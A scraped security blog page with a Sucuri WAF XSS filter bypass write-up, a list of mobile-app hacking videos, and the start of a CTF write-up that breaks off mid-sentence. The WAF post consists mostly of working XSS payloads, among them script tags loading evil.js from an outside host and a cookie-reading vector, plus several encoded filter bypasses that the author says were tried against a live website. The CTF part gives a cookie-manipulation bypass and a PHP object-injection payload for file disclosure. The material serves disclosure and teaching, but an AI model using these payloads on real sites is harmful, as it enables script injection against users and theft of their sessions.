Sucuri WAF XSS Filter Bypass

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigAUQPoaUKwaDvy8x_J2Yj7RGYF_LFCvY64QtQfHT5Au9TdUAlqSnFCyzFIK9clRiV97RJRP3f9QTRDAANQgD-tXMo-MtIJe0V1GzqFBN67O85w3BdC5hotFie7o9Cts-8Yb7ztk15_LY/s1600/waf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigAUQPoaUKwaDvy8x_J2Yj7RGYF_LFCvY64QtQfHT5Au9TdUAlqSnFCyzFIK9clRiV97RJRP3f9QTRDAANQgD-tXMo-MtIJe0V1GzqFBN67O85w3BdC5hotFie7o9Cts-8Yb7ztk15_LY/s1600/waf.png" width="320" /></a></div><h4>Introduction</h4><b>Sucuri Cloud Proxy</b> is a very well known WAF capable of preventing DOS, SQL Injection, XSS and malware detection and prevention. It acts as a reverse proxy which means that all the traffic sent to an application behind Sucuri WAF would be first sent to Sucuri's network which (based upon it's signature database) would check if a particular request is legitimate or not, if it's legitimate it would let it reach the application otherwise it would blocked.<br /><br />Due to the fact that Sucuri's Cloud proxy utilizes a Blacklist based protection to prevent application layer attacks, it caught my interest as it has been proven <a href="http://www.rafayhackingarticles.net/2013/12/code-igniter-xss-filter-multiple.html" rel="nofollow" target="_blank">time after time </a>that blacklist based protection is insufficient when attempting to block application layer attacks specifically Cross site scripting, as there are countless ways javaScript could be encoded/represented to bypass the protection and thereby it's very difficult to construct a filter that is capable of blocking all possible combinations while yielding minimum false positives. An example would be Mod Security, they have a Strong XSS filter, However it generates a lot of false positives and in most cases it blocks normal/harmless text.<br /><a name="more"></a><h4>Example #1</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlf0Fw0j2vJp4WUV-qePBzu5ZHYUzZQQaOC2XJ7ITp13zbNmDUAN-ypkOeNyWhYRADNrc-_-4-1noGPXVsI7F_bJNkzwcYfJ6saYw5m59IxmzKHYDt8z0s49maoIfsKw9GsDHcAFN_YOY/s1600/securi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlf0Fw0j2vJp4WUV-qePBzu5ZHYUzZQQaOC2XJ7ITp13zbNmDUAN-ypkOeNyWhYRADNrc-_-4-1noGPXVsI7F_bJNkzwcYfJ6saYw5m59IxmzKHYDt8z0s49maoIfsKw9GsDHcAFN_YOY/s1600/securi.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">As you can see fr that a completely harmless text triggers an alert, as the regular expression is checking for any thing before and after "src" attribute. </div><h4>Example 2 </h4><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOWkGC5djwlT76xGEFliQbbEMem5HBNfL2Z8a5XF2m5iXS2QG6e9i33lSeBuRku7zO0Tq46x8_TUG9daY9n2afpddyER5mxqDBRzvHwC0n9FDWbLzbCngGsduQhyphenhyphen0zYTHwlS9_q4gDiLg/s1600/ttp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOWkGC5djwlT76xGEFliQbbEMem5HBNfL2Z8a5XF2m5iXS2QG6e9i33lSeBuRku7zO0Tq46x8_TUG9daY9n2afpddyER5mxqDBRzvHwC0n9FDWbLzbCngGsduQhyphenhyphen0zYTHwlS9_q4gDiLg/s1600/ttp.png" width="577" /></a></div><br />Notice that in this case as well we have a valid and completly harmless text being considered as an XSS attack vector.<br /><h4>Sucuri XSS Filter</h4>Let's get to the main topic, In this post i would be revealing one of the many bypasses i found for sucuri's XSS filter. The full bypass works with user interaction, however given that you follow the given <a href="http://www.rafayhackingarticles.net/2013/12/bypassing-modern-wafs-xss-filters-cheat.html" rel="nofollow" target="_blank">methodology</a> you would easily be able to construct a bypass that does not require user interaction.<br /><br />As per the following <a href="http://cloudproxy.sucuri.net/cross-site-script-protection" target="_blank">link</a> Sucuri's cloud proxy has a built in XSS filter capable of detection and blocking XSS attempts. "<u><b>Our CloudProxy firewall does protect your site against XSS script injections if you want to prevent them from ever being used to compromise your site</b></u>". So I decided to test the effectiveness, however due to absence of testbed i had to attempt it on a live website. So let's get started.<br /><h4>Methodology</h4>The following is the methodology I utilize when i am up against any WAF:<br /><br /><b>i)</b> Brute Force (Throwing random payloads and known bypasses for other filters to see if they are able to bypass the filter)<br /><b>ii)</b> Regex Reversing (The rules are reverse engineered to see what is allowed vs what is not allowed to construct a bypass)<br /><b>iii) </b>Browser Bugs (When (i) and (ii) fails, I go with browser specific bugs such as charset inheritance, RPO etc and other quirks)<br /><br />For bypassing Sucuri the second methodology was utilized i.e. Regular expression reversing.<br /><h4>Initial Tests - Brute Force </h4>I made initial tests with tons of different vectors, however i quickly figured out that Brute forcing would not be the way to go about bypassing this filter.<br /><br /><script>alert(0);</script><br /><scrIpt>prompt(0);</script><br /><script/src="http://test.com/evil.js"><br /><script>delete alert;alert(1)</script><br /><svg><script/href=//?? /> - IE<br /><script src="https://www.dropbox.com/s/hp796og5p9va7zt/face.js?dl=1"><br /></script<br /><svg><script/href= /><br /><script>confirm(0);</script><br /><iframe src="javascript:alert(2)"<br /><form><isindex formaction="javascript&colon;confirm(1)><br /><embed/code=//goo.gl/nlX0P?<br /><embed/src=//goo.gl/nlX0P><br /><object/data=//goo.gl/nlX0P><br /><isindex action=//goo.gl/nlX0P type=image><br /><form action=//goo.gl/nlX0P><input type="submit"><br /><meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P"><br /><applet code="javascript:confirm(document.cookie);"><br /><iframe/src="data:text/html,<iframe/src=http://jsfiddle.net/d7Xu7/1/>"><br /><isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)<br />type=image><br /><isindex x="javascript:" onmouseover="alert(1)"><br /><h4>Constructing A Bypass - Regex Reversing</h4>During my tests i found that <a tag along with href attribute was allowed. However i found that as soon as i enter anything after the = my vector is blocked.<br /><br /><b>http://www.site.com/shop.php?c=4<span style="color: red;">"><a href=http://www.google.com>CLICK</a></span></b><br /><b><span style="color: red;"><br /></span></b>I thought perhaps they are detecting the regular expressions expects a SPACE after anchor tag, so i tried forward slash (/) however it was blocked.<br /><br /><b>http://www.site.com/shop.php?c=4<span style="color: red;">"><a/href=http://www.google.com>CLICK</a></span></b><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrU-lVYvS3uk4JXhieSRDZ-zkHsJz62P_umHEtcccjKvUHwzCPlNK1Hwt-QSRiF6iYhjMdVPtOxkwF0eTFNQatZNVn8tX0DSKMuWnONWRISyfLN3JP2Sg-IT_ViJ6R1ueQFDuW2mmgNYY/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="283" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrU-lVYvS3uk4JXhieSRDZ-zkHsJz62P_umHEtcccjKvUHwzCPlNK1Hwt-QSRiF6iYhjMdVPtOxkwF0eTFNQatZNVn8tX0DSKMuWnONWRISyfLN3JP2Sg-IT_ViJ6R1ueQFDuW2mmgNYY/s1600/1.png" width="577" /></a></div><br /><br />The next option was to try characters that could be used instead of white space such as x0c which stands for "Form Feed" or perhaps newlines.<br /><b>http://www.site.com/shop.php?c=4<span style="color: red;">"><a%0c href=http://www.google.com>CLICK</a></span></b><br /><div><br /></div>I came to the conclusion that the regex only looks for a "<b>Space</b>" and "<b>Forward slash</b>" between a tag and href attribute. However, i since Form feed only works in google chrome, i didn't wanted to generate a browser specific bypass. So, i used the following vector.<br /><div><br /></div><div><b>http://www.site.com/shop.php?c=4<span style="color: red;">"><a fooooooooooooooooooooooooooo href=http://www.google.com>CLICK</a></span></b></div><div><br /></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0-yqRPFbaIGjLXcRXGxirIaKB6yyGJ_0aegs7AR4UdKwnMv-SJ-5olNeslmyKUbCEw9Fa3A8ykqtWOTLfhwSgMksA4HiibTbAKe47OZk2dJYt6EZ7g7FpXJ2Lmlk0u9fwrtjNz2gzdX4/s1600/href.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0-yqRPFbaIGjLXcRXGxirIaKB6yyGJ_0aegs7AR4UdKwnMv-SJ-5olNeslmyKUbCEw9Fa3A8ykqtWOTLfhwSgMksA4HiibTbAKe47OZk2dJYt6EZ7g7FpXJ2Lmlk0u9fwrtjNz2gzdX4/s1600/href.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Here is how the input was being reflected.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaYzMBefFJP8DqzGT_xTctT-sGLrkbLD6dRfheEAFaEhxCdd5JxPGNzgEJ18c8Hh6KEQPCCucVV3ozT7qb79QF0zvJys80ZxLIeY2PYpWO8zNTsSCyTutzm_vwsqzxiuzsvPfiPeqoji4/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaYzMBefFJP8DqzGT_xTctT-sGLrkbLD6dRfheEAFaEhxCdd5JxPGNzgEJ18c8Hh6KEQPCCucVV3ozT7qb79QF0zvJys80ZxLIeY2PYpWO8zNTsSCyTutzm_vwsqzxiuzsvPfiPeqoji4/s1600/3.png" width="577" /></a></div><br />The next step was to use javascript, scheme to execute javaScript, however as expected it was being filtered out.<br /><div><br /></div><br /><b>http://www.site.com/shop.php?c=<span style="color: red;">"><a fooooooooooooooooooooooooooo href=javascript:alert(1)>CLICK</a></span></b><br /><b><span style="color: red;"><br /></span></b><b><span style="color: red;"><br /></span></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT4kZn7hESx4HfJj6ZWEpB6LlvbGGB0bCC9VlHr3rroXGeypymyEymwWHmvGbQwVFYQre1pPoq7kMYtWhVGqQO5QGEiG4RgI5LDn_P5ATr4DmMovbFAB-kQba1PtZxZRwHNFIrWEEhqwc/s1600/444.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT4kZn7hESx4HfJj6ZWEpB6LlvbGGB0bCC9VlHr3rroXGeypymyEymwWHmvGbQwVFYQre1pPoq7kMYtWhVGqQO5QGEiG4RgI5LDn_P5ATr4DmMovbFAB-kQba1PtZxZRwHNFIrWEEhqwc/s1600/444.png" width="577" /></a></div><br />The next step was to check if the regex is filtering out case sensitive payloads. However, it was also being filtered out.<br /><b><br /></b><b>http://www.site.com/shop.php?c=<span style="color: red;">"><a fooooooooooooooooooooooooooo href=javAsCript:alert(1)>CLICK</a></span></b><br /><br />The following test was made to check if the regex was looking for a colon followed by javascript keyword.<br /><br /><b>http://www.site.com/shop.php?c=<span style="color: red;">"><a fooooooooooooooooooooooooooo href=javAsCript:>CLICK</a></span></b><br /><b><br /></b>With above test it was clear that the regular expression is looking for "Javascript" keyword followed by a "Colon".  This could be easily defeated by using HTML entities such as<b> &sol &tab &colon &NewLine</b>. Apart from that parenthesis were also being blocked which could also be easily bypassed by using their corresponding html entities i.e. <b>&lpar;</b> and <b>&rpar;</b>.<br /><br />Inside of href attribute &colon; could be used instead of "<b>:</b>" which would be decoded by the browser at the run time.<br />  <br /><b>http://www.site.com/shop.php?c=4<span style="color: red;">"><a fooooooooooooooooooooooooooo href=javAsCript&colon;test>CLICK</a></span></b><br /><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1LZbq6TKm0B4Zr45L0LTbYwDEr9am5Lo2l4X5z2iSQIcE0iHyDVxLKVv26W2bUcKf2Rj-RewuTOeDnTGIEePSl0HoBkgOT6u-ixLPj6OOGukUHpfEJdhIUUj-ukdzxL-6h-bDuIX80f0/s1600/2222.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1LZbq6TKm0B4Zr45L0LTbYwDEr9am5Lo2l4X5z2iSQIcE0iHyDVxLKVv26W2bUcKf2Rj-RewuTOeDnTGIEePSl0HoBkgOT6u-ixLPj6OOGukUHpfEJdhIUUj-ukdzxL-6h-bDuIX80f0/s1600/2222.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>However, as could be seen from the above figure the html entities are not being reflected back. This could be easily defeated by using hex encode to encode <b>&</b> and<b> ;  </b>signs.<br /><h4>Full Bypass</h4>Combining all pieces of puzzle leads to full bypass:<br /><br /><b>http://www.site.com/shop.php?c=4"<span style="color: red;">><a fooooooooooooooooooooooooooooooooo href=JaVAScript%26colon%3Bprompt%26lpar%3B1%26rpar%3B%></span></b><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdna7bHfGZuRcva9pS2pwm-O7YugPqerv8PcI6Uv_fRCni3sl1FB9OZWybwzJsf2oCRUIQb957XZIV5z-CpqN8rS71cEUhWQrw98uUv-z1ce-BRu1sLPz5PNlSfqHUI-qfaUk-rtD6mCY/s1600/77.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdna7bHfGZuRcva9pS2pwm-O7YugPqerv8PcI6Uv_fRCni3sl1FB9OZWybwzJsf2oCRUIQb957XZIV5z-CpqN8rS71cEUhWQrw98uUv-z1ce-BRu1sLPz5PNlSfqHUI-qfaUk-rtD6mCY/s1600/77.png" width="577" /></a></div><b><br /></b><br /><h4>Ethical Considerations</h4>Both the website owner and the vendor has been notified about the vulnerability.<br /><h4>In Closing</h4>WAF's should only be considered as an additional layer of protection not a primary layer of protection. Due to the fact that rely upon blacklist, in almost all the situations it's possible to bypass them.<br /><br /><b>Update 1:</b> It seems like Sucuri has just blocked "<b>Prompt</b>" keyword, the following vector bypasses it - <b> <a%20x%20href=javascript%26%2358%3Bprompt(1)>a</a> </b> <b>credits<span style="color: red;"> @mmrupp</span></b><br /><b><span style="color: red;"><br /></span></b><b>Update2:</b> It seems like securi is now blocking "Prompt" as well as the "Confirm" keyword, the following vector bypasses it -<br /><b><br /></b><b> <q oncut=\u0070rompt(2)> </b><br /><b>"><p id=""onmouseover=\u0070rompt(1) //</b><br /><b><br /></b><b>Update 3: </b> @soaj1664ashar found another way to bypass the filter:<br /><br /><b>"><p id="\u0070rompt(1)"onmouseover=\u0065val(id) //</b><br /><br /><b>Update 4: </b>Mathias Karlson used a neat trick to yet again bypass Sucuri XSS filter, he figured out that a="b" i  added a little bit of css magic to make user interaction unavoidable.<br /><br /><a id="a"href=javascript&colon;alert&lpar;1&rpar; id="a">Click</a><br /><h4>Unavoidable User Interaction</h4>The above bypass could be combined with with css magic to bypass it with unavoidable user interaction.<br /><b><br /></b><b><a+id="a"href=javascript%26colon;alert%26lpar;1%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Click me plz</a></b></div>

Sucuri WAF XSS Filter Bypass

Introduction Sucuri Cloud Proxy is a very well known WAF capable of preventing DOS, SQL Injection, XSS and malware detection and prevention...

+ Read more »

How To Hack A Mobile Application? - Video Series

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkvqDIH8wvUJzmEd0QgbXHYIeEhcGcUnzqc3dhzS_heOQLFMQUUg1AkyeZU6zuRiGQgz9qZWAq3kbMrsMllU8gzKY_xBKtwuc94XVzWsfc-7lRFnjlheCsUKF-AZd3sEfGlAZDmLi1vdY/s1600/mobile-apps-2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="346" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkvqDIH8wvUJzmEd0QgbXHYIeEhcGcUnzqc3dhzS_heOQLFMQUUg1AkyeZU6zuRiGQgz9qZWAq3kbMrsMllU8gzKY_xBKtwuc94XVzWsfc-7lRFnjlheCsUKF-AZd3sEfGlAZDmLi1vdY/s1600/mobile-apps-2.jpeg" width="577" /></a></div><br /><br />In today’s world, new mobile innovations have changed the way we bank, shop, play, and communicate. This increased demand for mobile innovation is placing pressure on organizations and developers to get applications to market, quickly.<br /><br />Often times this focus on feature functionality rather than application security can result in an app becoming vulnerable to malicious attacks. This lack of mobile application protection provides mobile hackers an entirely new way to exploit applications. Among the most exploitable areas for hackers to target, is the binary code of the mobile application. Binary code is the code you download from a mobile app store and is what the machine reads to execute an application. There are a number of ways “black hats” seek to exploit binary-based vulnerabilities in order to compromise applications. </div><br /><a name="more"></a><br />Mobile app hacking is easier and faster than ever before. Hackers are utilizing readily available tools to compromise apps in just a matter of minutes. In the videos below, Jonathan Carter from Arxan Technologies, he explains 7 common hacking techniques used to exploit mobile applications.<br /><br /><h3 style="text-align: left;">iTunes Code Encryption Bypass 
</h3>See how easy it is for hackers to bypass iOS encryption to progress a mobile app attack.
<br /><br /><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/nOFXsR4-2AQ?list=PLtM-MyzwvBCUTYEc99OwKqyTnEEdLdQMr" width="560"></iframe><br /><br /><h3 style="text-align: left;">Android APK Reverse Engineering
</h3>Watch how hackers can easily reverse engineer binary code (the executable) back to source code and primed for code tampering
<br /><br /><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/Po4naya1TKo?list=PLtM-MyzwvBCUTYEc99OwKqyTnEEdLdQMr" width="560"></iframe><br /><br /><h3 style="text-align: left;">Algorithm Decompilation and Analysis 
</h3>See how “Hopper” is leveraged to initiate a static, springboard attack for counterfeiting and stealing information
<br /><br /><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/GvqnJmTb9HU?list=PLtM-MyzwvBCUTYEc99OwKqyTnEEdLdQMr" width="560"></iframe><br /><br /><h3 style="text-align: left;">Baksmali Code Modification
</h3>Learn how hackers can easily crack open and disassemble (Baksmali) mobile code.
<br /><br /><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/iu2BdhIgR_Q?list=PLtM-MyzwvBCUTYEc99OwKqyTnEEdLdQMr" width="560"></iframe><br /><br /><h3 style="text-align: left;">Reverse Engineering String Analysis 
</h3><br />Watch how hackers use strings analysis as a core element for reverse engineering
<br /><br /><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/Nl0Ha5aFT1k?list=PLtM-MyzwvBCUTYEc99OwKqyTnEEdLdQMr" width="560"></iframe><br /><br /><h3 style="text-align: left;">Swizzle with Code Substitution 
</h3>Learn how hackers leverage infected code to attack critical class methods of an application to intercept API calls and execute unauthorized code, leaving no trace with the code reverting back to original form
<br /><br /><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/4oE7qzkBdv0?list=PLtM-MyzwvBCUTYEc99OwKqyTnEEdLdQMr" width="560"></iframe><br /><br /><h3 style="text-align: left;">Understanding application internal structures and methods via Class Dumps
</h3>Learn how hackers use this widely available tool to analyze the behavior of an app as a form of reverse engineering and as a springboard to method swizzling
<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>
<br /><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/2YROKf3CbbE?list=PLtM-MyzwvBCUTYEc99OwKqyTnEEdLdQMr" width="560"></iframe><br /><div><br /></div></div>

How To Hack A Mobile Application? - Video Series

In today’s world, new mobile innovations have changed the way we bank, shop, play, and communicate. This increased demand for mobile innovat...

+ Read more »

CSP 2015 Capture The Flag Writeup

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMFklevKrwpydy0zqpK9llDNw78lUM-t-d1QmWldWKpUOhjyfU7R-DOf1L20hsrFOCr9oB1IAUgeOaGXITYLhyphenhyphen8sUoUJfR4igz8i4w6cQ5qFU3NtagSOKRPlOLJLlJqH8EbtKap5Rmb5s/s1600/ctf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMFklevKrwpydy0zqpK9llDNw78lUM-t-d1QmWldWKpUOhjyfU7R-DOf1L20hsrFOCr9oB1IAUgeOaGXITYLhyphenhyphen8sUoUJfR4igz8i4w6cQ5qFU3NtagSOKRPlOLJLlJqH8EbtKap5Rmb5s/s1600/ctf.png" width="320" /></a></div><br />On 11th April <b>Giuseppe Trotta</b> and myself organized a CTF (Capture The Flag) competition for <b>Cyber Secure Pakistan</b> (A conference that combines all the stakeholders). The challenge was hosted on hack.me and contained 9 different challenges, some challenges itself contained sub-challenges. Overall, we received great feedback from vast majority of participants. No one was able to solve all the challenges within the given time frame, however a day or two we noticed that a team of "<b>Sajjad</b>" and "<b>MakMan</b>" was able to solve the challenge, and they were kind enough to do the writeup for the challenge, so over to Sajjad for the writeup. <br /><a name="more"></a><br /> I teamed-up with a very talented friend of mine to solve the challenges. He goes by the nickname "<b>MakMan"</b> and possesses extra-ordinary problem solving and penetration testing skills. We solved almost all challenges together. I want to keep this write-up precise, so I would not ramble on much about what I tried and failed. I will rather explain what steps I went through in each of the challenges to exploit the vulnerability and capture its flag. I am going to explain them in descending order where order is the time I had to spend to solve the challenge.<br /><br /><u>Note:</u> You might notice that I didn't use threading in any of my scripts to make them work faster. The reason is that I was afraid of getting my I.P address banned by the server for sending requests too fast; I was also afraid of overloading the server by sending too many requests at a time. And in some scenarios, it was not feasible to use threading.<br /><h4>9. Authentication Bypass (via cookie manipulation)</h4><br /><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQqoE4uippJl6JpCcivrGoD670Tf-ETORF3X5XVo8_eMBTRlpOwVECWYMRVNR7Yr1cW9Bd6XOqy7kgE9nFPZSZAo4vCc6x-wmz2vOkSsKWIKgzJ7QZPPJSv2XUdIV7EHPRipEVDI2Vnbk/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQqoE4uippJl6JpCcivrGoD670Tf-ETORF3X5XVo8_eMBTRlpOwVECWYMRVNR7Yr1cW9Bd6XOqy7kgE9nFPZSZAo4vCc6x-wmz2vOkSsKWIKgzJ7QZPPJSv2XUdIV7EHPRipEVDI2Vnbk/s1600/1.png" width="577" /> </a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">This was the very first challenge I attempted in this CTF and upon solving it, I found it to be the easiest. A simple sign-in page was provided on main page (index.php) which can be seen in the screenshot below.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNHsGw4JI71J-UMFStczBJn3iKBRxeZhsItZ-Nts3xlZ0XkyaK26jz38E7DDVkupyMBh_znOKoZ5vSVpvzSeZuKbv7DGEabbxTdRdIHovJrQ0bqAYHnVuqOWwZ8ZCpPBisf2FKBaS4khc/s1600/1.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNHsGw4JI71J-UMFStczBJn3iKBRxeZhsItZ-Nts3xlZ0XkyaK26jz38E7DDVkupyMBh_znOKoZ5vSVpvzSeZuKbv7DGEabbxTdRdIHovJrQ0bqAYHnVuqOWwZ8ZCpPBisf2FKBaS4khc/s1600/1.1.png" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">At first, I expected it to be simple SQL injection (<i>x' or 'x'='x</i>) bypass; but it didn't take long for me to figure out that that was not the case, so I started with analyzing the headers and cookies and found an interesting cookie named "admin" with its value set as '<b>0</b>'. At this point, I became sure that it was a <b>cookie manipulation vulnerability</b>, so I simply modified the cookie value and set it to '<b>1</b>'. After that, all I had to do was submit the form with any username and password values. Below screenshot shows the result of the form submission after cookie manipulation.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPoA9fZ_CizIk1JuDjsgftqT2qoA4euah9X01Umabw8c0JiGuhfV6EMtyECBz4zFwmHQNBoKpXNfpEimGjtloOcIlLLs8_grvq9ypEcz4wgp4Zp47QAdFfIZ1wXZ__Z9ZJg2PfqJ4rrrs/s1600/Screenshot_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPoA9fZ_CizIk1JuDjsgftqT2qoA4euah9X01Umabw8c0JiGuhfV6EMtyECBz4zFwmHQNBoKpXNfpEimGjtloOcIlLLs8_grvq9ypEcz4wgp4Zp47QAdFfIZ1wXZ__Z9ZJg2PfqJ4rrrs/s1600/Screenshot_1.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"></div><div class="separator" style="clear: both; text-align: left;">The MD5 hash of this key was the flag for this challenge.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"></div><h4>8. PHP Object Injection (via "unserialize" function)</h4><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGrof5TngLMP69zSXl1IYVNNdxPsEbm8hpKQ5KhesYxq51hq_WKo0MKz50OANofr233LxCXgestjOFoJeUebaLr1YChHzzPcRugXH0zrszqRVTan3i47Duq_mFg-yvuCrZS-BI8QSoEYY/s1600/Screenshot_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGrof5TngLMP69zSXl1IYVNNdxPsEbm8hpKQ5KhesYxq51hq_WKo0MKz50OANofr233LxCXgestjOFoJeUebaLr1YChHzzPcRugXH0zrszqRVTan3i47Duq_mFg-yvuCrZS-BI8QSoEYY/s1600/Screenshot_2.png" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">This challenge had 300 points which in my opinion, it did not deserve. It was a simple PHP Object injection which I believe (according to my limited knowledge) can only be exploited if the some information of the source code is known. At first, the source code was not provided; even the class name (which had exploitable magic method) was not mentioned. Later, the source code was provided which made it a very easily solvable challenge.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Anyway coming back to the agenda... The main page (unserialize.php) of this challenge had a form which can be seen in the screenshot below.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg05fte9uOLbPKZ1kE3kPXfGT_JJVOelq5933Qg6aIDNQNipycLju0YmbBojbO0Pxe2BNHKgNlR87wvGCa-dNdvVDlUYopol_-bFvJFUKM1xIl5hI2BzqEhZzmr9O0fDsHxQDsB4vYYf90/s1600/Screenshot_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg05fte9uOLbPKZ1kE3kPXfGT_JJVOelq5933Qg6aIDNQNipycLju0YmbBojbO0Pxe2BNHKgNlR87wvGCa-dNdvVDlUYopol_-bFvJFUKM1xIl5hI2BzqEhZzmr9O0fDsHxQDsB4vYYf90/s1600/Screenshot_3.png" /> </a></div><div class="separator" style="clear: both; text-align: left;">And here is the given source code:</div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: blue;">http://pastebin.com/raw.php?i=g2NQbr8P</span></div></blockquote>From the source code, it can clearly been seen that the direct user input is being passed to the unserialize function which is a security risk and results in a code execution. It can also be seen that a vulnerable magic method "__destruct" exists in the class named "CreateFile" which exists in the same context (or file) as the unserialize function.<br /><br />Here is the vulnerable line of code:<br /><blockquote class="tr_bq"><span style="color: red;">readfile(dirname(__FILE__) . '/' . $this->tmpfile); </span></blockquote>Anybody having basic understanding of the objection injection vulnerability would know that he can set the values of the class properties according to his will by exploiting the "unserialize" function via input. Thus, we can set the value of "tmpfile" which would be the member of the current class instance.<br /><br />So here is the input payload I submitted which resulted in Local File Disclosure.<br /><blockquote class="tr_bq">ss <span style="color: red;">O:10:"CreateFile":1:{s:7:"tmpfile";s:15:"unserialize.php";}</span></blockquote>For anyone (not familar with serialization), here is the code I wrote to generate this payload.<br /><blockquote class="tr_bq"><span style="color: blue;">http://pastebin.com/raw.php?i=FkUFveGp </span></blockquote>A "KEY" was defined in the source code of unserialize.php.<br /><br 